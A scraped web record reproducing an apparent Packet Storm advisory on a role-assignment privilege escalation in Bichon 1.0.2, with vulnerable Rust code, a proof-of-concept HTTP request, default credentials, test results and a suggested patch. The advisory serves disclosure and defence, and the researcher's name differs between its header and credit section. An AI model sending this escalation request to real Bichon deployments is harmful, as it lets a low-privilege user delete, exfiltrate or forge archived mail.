{“lastseen”:”2026-05-18T19:05:29″,”description”:”Bichon version 1.0.2 suffers from a vertical privilege escalation vulnerability via the account role assignment functionality…”,”published”:”2026-05-18T00:00:00″,”modified”:”2026-05-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Bichon 1.0.2 Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:221273″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”Bichon 1.0.2 Vertical Privilege Escalation via Account Role Assignment\\n ======================================================================\\n \\n Vendor: rustmailer\\n Product: Bichon – self-hosted email archiving server (Rust + TypeScript)\\n Project URL: https:\/\/github.com\/rustmailer\/bichon\\n Affected: All versions through HEAD as of 2026-05-18\\n Commit: 9daab241b0220e81e43d4b98616d77fa45ad58c7\\n Release: 1.0.2 (Docker: rustmailer\/bichon:1.0.2,\\n sha256 6a8232f1db4df939cfe28c54661699638d859f5923ff1965aacdabed226c67f0)\\n Patched: Pending vendor fix\\n Severity: High\\n CVSS 3.1: 7.6 (AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:L)\\n CWE: CWE-269 (Improper Privilege Management)\\n CWE-863 (Incorrect Authorization)\\n CVE: Pending (requested via GitHub CNA)\\n Discovered: 2026-05-18 (manual source review)\\n Researcher: AoxLir \\u003ceren.demir@razesecurity.com\\u003e\\n Disclosure: Coordinated (Project Zero 90-day standard)\\n \\n \\n I. Background\\n =============\\n \\n Bichon is a self-hosted email archiving server written in Rust with a\\n SvelteKit frontend. It integrates IMAP fetching, OAuth2 mail providers,\\n SOCKS5 proxy support, and a REST API protected by an RBAC subsystem of\\n 22 granular permissions across 5 built-in roles and an unlimited number\\n of admin-defined custom roles.\\n \\n The vendor README (line 101) states:\\n \\n \\”Account-Level Isolation: Grant users access to specific accounts\\n with scoped roles. Permissions enforced at the API layer.\\”\\n \\n The vulnerability documented here directly contradicts that claim.\\n \\n \\n II. Vulnerability Detail\\n ========================\\n \\n The endpoint POST \/api\/v1\/accounts\/access\/assignments calls\\n BatchAccountRoleRequest::do_assign() (crates\/core\/src\/account\/grant.rs\\n lines 115-154):\\n \\n pub fn do_assign(self, context: \\u0026ClientContext) -\\u003e BichonResult\\u003c()\\u003e {\\n for account_id in \\u0026self.account_ids {\\n let assigned_role_id = context.user\\n .account_access_map.get(account_id)…?;\\n let user_scoped_role = UserRole::find(*assigned_role_id)?…?;\\n \\n \/\/ Critical Check: Does this role grant management\/sharing rights?\\n if !user_scoped_role.permissions\\n .contains(Permission::ACCOUNT_MANAGE) {\\n return Err(…);\\n }\\n \\n \/\/ Optional: Ensure manager isn’t giving away perms they don’t have\\n \/\/ ^^^ NOT IMPLEMENTED — the missing check.\\n }\\n \\n Self::grant_batch_account_access(\\n self.account_ids, self.user_ids, self.role_id\\n )\\n }\\n \\n The check verifies the caller holds Permission::ACCOUNT_MANAGE on every\\n target account but does NOT compare the granted role’s permissions\\n against the caller’s own. Any user holding ACCOUNT_MANAGE on an account\\n – a permission an administrator might include in a narrowly scoped\\n custom role intended only for sharing\/auditing – can therefore grant\\n themselves OR any other user the built-in AccountManager role (or any\\n arbitrary custom role) on that account, gaining permissions such as:\\n \\n data:delete – irreversible mail deletion\\n data:raw:download – exfiltration of raw EML\/MIME files\\n data:export:batch – bulk export\\n data:import:batch – injection of forged messages into the archive\\n data:smtp:ingest – abuse of the SMTP ingest pipeline\\n data:manage – metadata tampering\\n \\n The REST handler (crates\/server\/src\/rest\/api\/account.rs lines 303-312)\\n adds no additional authorization beyond calling do_assign().\\n \\n \\n III. Proof of Concept\\n =====================\\n \\n Tested live against the official Docker image rustmailer\/bichon:1.0.2.\\n \\n Setup\\n —–\\n \\n $ docker run -d –name bichon-poc -p 15630:15630 \\\\\\n -v \/tmp\/bichon-poc\/data:\/data –user 1000:1000 \\\\\\n -e BICHON_ROOT_DIR=\/data \\\\\\n -e BICHON_ENCRYPT_PASSWORD=poc-pw \\\\\\n rustmailer\/bichon:latest\\n \\n Default credentials: admin \/ admin@bichon\\n \\n Step 1: Admin creates a custom Account role with restricted permissions\\n but containing ACCOUNT_MANAGE:\\n \\n POST \/api\/v1\/roles\\n Authorization: Bearer \\u003cadmin_token\\u003e\\n Content-Type: application\/json\\n \\n {\\”name\\”:\\”RestrictedAuditor\\”,\\n \\”role_type\\”:\\”Account\\”,\\n \\”permissions\\”:[\\”account:manage\\”,\\”account:read_details\\”,\\”data:read\\”]}\\n \\n Step 2: Admin creates a low-privilege user ‘alice’, grants her the\\n RestrictedAuditor role on an account.\\n \\n Step 3: Alice logs in and issues the exploit:\\n \\n POST \/api\/v1\/accounts\/access\/assignments\\n Authorization: Bearer \\u003calice_token\\u003e\\n Content-Type: application\/json\\n \\n {\\”account_ids\\”: [\\u003caccount_id\\u003e],\\n \\”user_ids\\”: [\\u003calice_id\\u003e],\\n \\”role_id\\”: 200100000000000}\\n \\n Response: HTTP\/1.1 200 OK\\n \\n (200100000000000 is the built-in AccountManager role ID, returned by\\n GET \/api\/v1\/list-roles.)\\n \\n Verification\\n ————\\n \\n Alice’s permissions BEFORE the call:\\n account:manage, account:read_details, data:read (3 perms)\\n \\n Alice’s permissions AFTER the call:\\n account:manage, account:read_details, data:read,\\n data:delete, data:export:batch, data:import:batch,\\n data:manage, data:raw:download, data:smtp:ingest (9 perms)\\n \\n Six new permissions gained, including the high-impact data:delete\\n (irreversible mail deletion) and data:raw:download (raw EML export).\\n Total elapsed: a single HTTP POST, no errors.\\n \\n \\n IV. Extended Tests\\n ==================\\n \\n * Cross-user promotion: alice (RestrictedAuditor on account A) promoted\\n a different user ‘bob’ (zero account access) to AccountManager on A\\n — HTTP 200. Confirms lateral movement is possible, not just\\n self-promotion.\\n \\n * Multi-account boundary: alice attempted to escalate on accounts A\\n (had access) AND B (no access) in a single request — HTTP 403\\n \\”No access to account B\\”. The account-boundary check works\\n correctly; only the per-account permission-bound check is missing.\\n \\n * Arbitrary custom role: alice granted herself an admin-created\\n custom role with 9 high-impact permissions (effectively a renamed\\n AccountManager) — HTTP 200. Refutes any rebuttal that promotion\\n is bounded by the built-in AccountManager role.\\n \\n \\n V. Impact\\n =========\\n \\n Authenticated user with the narrowest custom role that contains\\n ACCOUNT_MANAGE can:\\n \\n – Delete all archived messages for the affected account (regulatory\\n \/ forensic impact — archives are typically subject to legal hold).\\n – Exfiltrate raw EML\/MIME (PII, business confidential).\\n – Inject forged messages into the archive (integrity \/ chain-of-\\n custody compromise).\\n – Promote arbitrary other users to AccountManager (lateral movement\\n in multi-tenant deployments).\\n \\n \\n VI. Solution\\n ============\\n \\n Add a permission-subset check inside do_assign(), after the existing\\n ACCOUNT_MANAGE check:\\n \\n let target_role = UserRole::find(self.role_id)?\\n .ok_or_else(|| raise_error!(\\”Target role not found\\”.into(),\\n ErrorCode::ResourceNotFound))?;\\n \\n let extra: HashSet\\u003c_\\u003e = target_role.permissions\\n .difference(\\u0026user_scoped_role.permissions)\\n .collect();\\n \\n if !extra.is_empty() {\\n return Err(raise_error!(\\n format!(\\”Cannot grant permissions you do not hold: {:?}\\”,\\n extra),\\n ErrorCode::Forbidden));\\n }\\n \\n For defense in depth, also require Permission::ACCOUNT_MANAGE_ALL at\\n the REST handler layer (crates\/server\/src\/rest\/api\/account.rs:303), so\\n that org-wide account sharing requires an administrator.\\n \\n \\n \\n VII. Credit\\n ============\\n \\n Discovered and reported by MrOruc, independent security researcher.\\n GitHub: https:\/\/github.com\/MrOruc\\n Email: kerim.oruc@razesecurity.com”,”sourceHref”:”https:\/\/packetstorm.news\/download\/221273″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/221273\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-18T19:05:29″,”description”:”Bichon version 1.0.2 suffers from a vertical privilege escalation vulnerability via the account role assignment functionality…”,”published”:”2026-05-18T00:00:00″,”modified”:”2026-05-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Bichon 1.0.2 Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:221273″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”Bichon 1.0.2 Vertical Privilege Escalation via…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-55361","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n